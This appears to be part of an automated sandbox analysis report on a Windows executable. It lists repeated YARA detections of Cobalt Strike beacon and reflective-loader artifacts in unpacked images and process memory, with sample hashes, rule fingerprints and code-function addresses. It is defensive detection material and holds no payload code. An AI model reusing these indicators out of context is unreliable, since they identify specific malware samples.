Source: 0.2.yZah650lHL.exe.660000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 0.2.yZah650lHL.exe.660000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: 0.2.yZah650lHL.exe.660000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 0.2.yZah650lHL.exe.660000.2.raw.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike payload Author: ditekSHen
Source: 0.2.yZah650lHL.exe.1a0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 0.2.yZah650lHL.exe.1a0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Identifies CobaltStrike via unidentified function code Author: unknown
Source: 0.2.yZah650lHL.exe.1a0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 0.2.yZah650lHL.exe.1a0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 0.2.yZah650lHL.exe.1a0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 0.2.yZah650lHL.exe.1a0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 0.2.yZah650lHL.exe.1a0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: 0.2.yZah650lHL.exe.1a0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 0.2.yZah650lHL.exe.1a0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 0.2.yZah650lHL.exe.1a0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike payload Author: ditekSHen
Source: 0.2.yZah650lHL.exe.1a0000.0.unpack, type: UNPACKEDPE	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 0.2.yZah650lHL.exe.1a0000.0.unpack, type: UNPACKEDPE	Matched rule: Identifies CobaltStrike via unidentified function code Author: unknown
Source: 0.2.yZah650lHL.exe.1a0000.0.unpack, type: UNPACKEDPE	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 0.2.yZah650lHL.exe.1a0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 0.2.yZah650lHL.exe.1a0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 0.2.yZah650lHL.exe.660000.2.unpack, type: UNPACKEDPE	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 0.2.yZah650lHL.exe.660000.2.unpack, type: UNPACKEDPE	Matched rule: Identifies CobaltStrike via unidentified function code Author: unknown
Source: 0.2.yZah650lHL.exe.660000.2.unpack, type: UNPACKEDPE	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 0.2.yZah650lHL.exe.660000.2.unpack, type: UNPACKEDPE	Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 0.2.yZah650lHL.exe.660000.2.unpack, type: UNPACKEDPE	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 0.2.yZah650lHL.exe.660000.2.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 0.2.yZah650lHL.exe.660000.2.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: 0.2.yZah650lHL.exe.660000.2.unpack, type: UNPACKEDPE	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 0.2.yZah650lHL.exe.660000.2.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 0.2.yZah650lHL.exe.660000.2.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike payload Author: ditekSHen
Source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies CobaltStrike via unidentified function code Author: unknown
Source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike payload Author: ditekSHen
Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies CobaltStrike via unidentified function code Author: unknown
Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike payload Author: ditekSHen
Source: Process Memory Space: yZah650lHL.exe PID: 6572, type: MEMORYSTR	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: Process Memory Space: yZah650lHL.exe PID: 6572, type: MEMORYSTR	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: Process Memory Space: yZah650lHL.exe PID: 6572, type: MEMORYSTR	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth

Source: C:\Users\user\Desktop\yZah650lHL.exe

Code function: 0_2_00692078 CreateProcessWithLogonW,

0_2_00692078

Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_001C5914	0_2_001C5914
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_001C1928	0_2_001C1928
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_001A916C	0_2_001A916C
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_001C1264	0_2_001C1264
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_001CAAB0	0_2_001CAAB0
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_001B0334	0_2_001B0334
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_001C0374	0_2_001C0374
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_001C239C	0_2_001C239C
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_001CC397	0_2_001CC397
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_001BF5A8	0_2_001BF5A8
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_001CE600	0_2_001CE600
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_001ACE3C	0_2_001ACE3C
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_001A9680	0_2_001A9680
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_001CC680	0_2_001CC680
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_001B6F38	0_2_001B6F38
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_001CB7B0	0_2_001CB7B0
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_001CCFF0	0_2_001CCFF0
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_006801A8	0_2_006801A8
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_0066DA3C	0_2_0066DA3C
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_0068F200	0_2_0068F200
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_0066A280	0_2_0066A280
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_0068D280	0_2_0068D280
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_00677B38	0_2_00677B38
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_0068DBF0	0_2_0068DBF0
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_0068C3B0	0_2_0068C3B0
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_00669D6C	0_2_00669D6C
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_00682528	0_2_00682528
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_00686514	0_2_00686514
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_00681E64	0_2_00681E64
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_0067867C	0_2_0067867C
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_0068B6B0	0_2_0068B6B0
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_00680F74	0_2_00680F74
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_00670F34	0_2_00670F34
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_00682F9C	0_2_00682F9C
Source: C:\Users\user\Desktop\yZah650lHL.exe	Code function: 0_2_0068CF97	0_2_0068CF97

Source: 0.2.yZah650lHL.exe.660000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 0.2.yZah650lHL.exe.660000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_663fc95d os = windows, severity = x86, description = Identifies CobaltStrike via unidentified function code, creation_date = 2021-04-01, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = d0f781d7e485a7ecfbbfd068601e72430d57ef80fc92a993033deb1ddcee5c48, id = 663fc95d-2472-4d52-ad75-c5d86cfc885f, last_modified = 2021-12-17
Source: 0.2.yZah650lHL.exe.660000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 0.2.yZah650lHL.exe.660000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.yZah650lHL.exe.660000.2.raw.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 0.2.yZah650lHL.exe.660000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.yZah650lHL.exe.660000.2.raw.unpack, type: UNPACKEDPE	Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
Source: 0.2.yZah650lHL.exe.660000.2.raw.unpack, type: UNPACKEDPE	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.yZah650lHL.exe.660000.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CobaltStrike author = ditekSHen, description = CobaltStrike payload
Source: 0.2.yZah650lHL.exe.1a0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 0.2.yZah650lHL.exe.1a0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_663fc95d os = windows, severity = x86, description = Identifies CobaltStrike via unidentified function code, creation_date = 2021-04-01, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = d0f781d7e485a7ecfbbfd068601e72430d57ef80fc92a993033deb1ddcee5c48, id = 663fc95d-2472-4d52-ad75-c5d86cfc885f, last_modified = 2021-12-17
Source: 0.2.yZah650lHL.exe.1a0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 0.2.yZah650lHL.exe.1a0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.yZah650lHL.exe.1a0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 0.2.yZah650lHL.exe.1a0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.yZah650lHL.exe.1a0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
Source: 0.2.yZah650lHL.exe.1a0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.yZah650lHL.exe.1a0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 0.2.yZah650lHL.exe.1a0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CobaltStrike author = ditekSHen, description = CobaltStrike payload
Source: 0.2.yZah650lHL.exe.1a0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 0.2.yZah650lHL.exe.1a0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_663fc95d os = windows, severity = x86, description = Identifies CobaltStrike via unidentified function code, creation_date = 2021-04-01, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = d0f781d7e485a7ecfbbfd068601e72430d57ef80fc92a993033deb1ddcee5c48, id = 663fc95d-2472-4d52-ad75-c5d86cfc885f, last_modified = 2021-12-17
Source: 0.2.yZah650lHL.exe.1a0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 0.2.yZah650lHL.exe.1a0000.0.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 0.2.yZah650lHL.exe.1a0000.0.unpack, type: UNPACKEDPE	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.yZah650lHL.exe.660000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 0.2.yZah650lHL.exe.660000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_663fc95d os = windows, severity = x86, description = Identifies CobaltStrike via unidentified function code, creation_date = 2021-04-01, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = d0f781d7e485a7ecfbbfd068601e72430d57ef80fc92a993033deb1ddcee5c48, id = 663fc95d-2472-4d52-ad75-c5d86cfc885f, last_modified = 2021-12-17
Source: 0.2.yZah650lHL.exe.660000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 0.2.yZah650lHL.exe.660000.2.unpack, type: UNPACKEDPE	Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.yZah650lHL.exe.660000.2.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 0.2.yZah650lHL.exe.660000.2.unpack, type: UNPACKEDPE	Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.yZah650lHL.exe.660000.2.unpack, type: UNPACKEDPE	Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
Source: 0.2.yZah650lHL.exe.660000.2.unpack, type: UNPACKEDPE	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.yZah650lHL.exe.660000.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 0.2.yZah650lHL.exe.660000.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CobaltStrike author = ditekSHen, description = CobaltStrike payload
Source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_663fc95d os = windows, severity = x86, description = Identifies CobaltStrike via unidentified function code, creation_date = 2021-04-01, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = d0f781d7e485a7ecfbbfd068601e72430d57ef80fc92a993033deb1ddcee5c48, id = 663fc95d-2472-4d52-ad75-c5d86cfc885f, last_modified = 2021-12-17
Source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
